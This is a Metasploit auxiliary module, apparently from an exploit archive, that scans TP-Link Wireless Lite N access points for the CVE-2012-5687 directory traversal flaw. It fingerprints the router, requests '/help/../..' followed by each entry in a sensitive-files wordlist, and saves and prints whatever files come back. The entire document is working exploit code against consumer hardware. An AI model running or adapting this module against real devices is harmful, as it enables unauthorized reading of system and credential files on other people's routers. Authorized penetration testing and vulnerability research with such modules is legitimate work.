TP-Link Wireless Lite N Access Point Directory Traversal

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Exploit::Remote::HttpClient  
include Msf::Auxiliary::Scanner  
  
def initialize  
super(  
'Name' => 'TP-Link Wireless Lite N Access Point Directory Traversal Vulnerability',  
'Description' => %q{  
This module tests whether a directory traversal vulnerability is present in  
versions of TP-Link Access Point 3.12.16 Build 120228 Rel.37317n.  
},  
'References' =>  
[  
[ 'CVE', '2012-5687' ],  
[ 'OSVDB', '86881' ],  
[ 'BID', '57969' ],  
[ 'EDB', '24504' ],  
[ 'URL', 'http://www.s3cur1ty.de/m1adv2013-011' ]  
],  
'Author' => [ 'Michael Messner <devnull[at]s3cur1ty.de>' ],  
'License' => MSF_LICENSE  
)  
  
register_options(  
[  
OptPath.new('SENSITIVE_FILES', [ true, "File containing sensitive files, one per line",  
File.join(Msf::Config.data_directory, "wordlists", "sensitive_files.txt") ]),  
])  
end  
  
def extract_words(wordfile)  
return [] unless wordfile && File.readable?(wordfile)  
  
begin  
File.readlines(wordfile, chomp: true)  
rescue ::StandardError => e  
elog(e)  
[]  
end  
end  
  
def find_files(file)  
traversal = '/../..'  
  
res = send_request_cgi(  
{  
'method' => 'GET',  
'uri' => '/help' << traversal << file,  
})  
  
return if res.nil?  
return if (res.headers['Server'].nil? or res.headers['Server'] !~ /TP-LINK Router/)  
return if (res.code == 404)  
return if (res.code == 501)  
  
if (res and res.code == 200 and res.body !~ /\<\/HTML/)  
out = false  
  
print_good("#{rhost}:#{rport} - Request may have succeeded on file #{file}")  
report_web_vuln({  
:host => rhost,  
:port => rport,  
:vhost => datastore['VHOST'],  
:path => "/",  
:pname => normalize_uri(traversal, file),  
:risk => 3,  
:proof => normalize_uri(traversal, file),  
:name => self.fullname,  
:category => "web",  
:method => "GET"  
})  
  
loot = store_loot("tplink.traversal.data","text/plain",rhost, res.body,file)  
vprint_good("#{rhost}:#{rport} - File #{file} downloaded to: #{loot}")  
  
if datastore['VERBOSE']  
vprint_good("#{rhost}:#{rport} - Response - File #{file}:")  
res.body.each_line do |line|  
# the following is the last line of the useless response  
if line.to_s =~ /\/\/--><\/SCRIPT>/  
# setting out = true to print all of the following stuff  
out = true  
next  
end  
if out == true  
if line =~ /<META/ or line =~ /<Script/  
# we are finished :)  
# the next line is typical code from the website and nothing from us  
# this means we can skip this stuff ...  
out = false  
next  
else  
#it is our output *h00ray*  
#output our stuff ...  
print_line("#{line}")  
end  
end  
end  
out = false  
end  
elsif res && res.code  
vprint_error("#{rhost}:#{rport} - File->#{file} not found")  
end  
end  
  
def run_host(ip)  
  
begin  
vprint_status("#{rhost}:#{rport} - Fingerprinting...")  
res = send_request_cgi(  
{  
'method' => 'GET',  
'uri' => '/',  
})  
  
return if (res.headers['Server'].nil? or res.headers['Server'] !~ /TP-LINK Router/)  
  
rescue ::Rex::ConnectionError  
vprint_error("#{rhost}:#{rport} - Failed to connect to the web server")  
return  
end  
  
extract_words(datastore['SENSITIVE_FILES']).each do |files|  
find_files(files) unless files.empty?  
end  
  
end  
end  
`